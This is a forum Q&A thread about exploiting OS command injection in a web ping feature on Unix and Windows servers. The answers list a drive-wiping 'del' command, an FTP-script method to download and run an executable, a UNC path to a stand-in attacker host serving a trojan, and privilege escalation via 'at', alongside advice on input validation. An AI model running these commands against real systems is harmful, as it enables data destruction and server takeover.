Let's say there's a site which is vulnerable to user's input.

For example users can ping a specified IP.

Since the site is vulnerable to Os command injection, a user as well as an IP address he/she decides to add the following command:


So actually what he/she inserts is: 198.71.xxx.xx ;ls

; stands for separator to commands in the same line

ls means listing the content of a directory

Of course , what I wrote above is valid if and only if the underlying server operating system is Unix-like.

My question: in case the Os is Windows (Windows Server 2003 or whatever even a more recent version) what an attacker should write after the IP ?

Is dir the only thing or maybe another more dangerous command?

It's just for study purposes.

Thanks a lot

2 Answers 2


Well the most destructive thing I can think of is del /f /s /q c:\*, which deletes all files on the C drive.

A good way to gain further access is to chain a group of echo commands with append redirects (e.g. echo test >> c:\commands.txt) to write a set of FTP commands into a file, then run ftp -s:c:\commands.txt [host] to run those commands on the server and download an executable. We can then do a final request to run that executable.

In general a command injection is likely to be very dangerous, because it amounts to having the same privileges as the account that runs the vulnerable service. Worse, if you're running an XP-based OS, the task scheduler allows for easy privilege escalation to SYSTEM, via the at command.

  • thanks for your reply. My doubts are: 1) looking at my example the ";" could I get rid of it or it's just something I do need? 2) windows scenario, does the command you wrote have to be injected without ";" ? thanks
    – g9999
    Dec 27, 2012 at 22:20
  • You'd inject it via the semicolon, as that separates the commands.
    – Polynomial
    Dec 28, 2012 at 12:00
  • Sorry to bother you again, but are you sure about that? In NT family command prompt as far as I know you should use ampersand &..am I right?
    – g9999
    Dec 28, 2012 at 22:57
  • It's && on Windows, but you mentioned that ; was being used on the particular script implementation you were targeting. So you could chain the commands via && after an initial ; to gain command injection, or just issue one command at a time via separate requests.
    – Polynomial
    Dec 28, 2012 at 23:01

The command separator on Windows is & rather than ;.

Output redirection using > is another potentially-dangerous general shell feature to consider if you can't get to &, as you could use that to write to any file.

Escaping Windows shell metacharacters in order to allow safe usage of arbitrary input is very difficult to get right. (There is a rule, but it is strange and poorly documented.) If you absolutely must spawn a command using the shell out on a Windows box (this is almost always better avoided), strong whitelist input validation is advisable.

As for what commands you run when you've got command injection, it's traditional to try to download and run an executable (generally remote administration trojan) through whatever means you can get through any network firewalls upstream from the web server. This might be:

  • from a UNC path (\\attacker.example.com\trojan.exe)
  • using FTP
  • writing to a VBScript file then running it to download from an HTTP resource

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .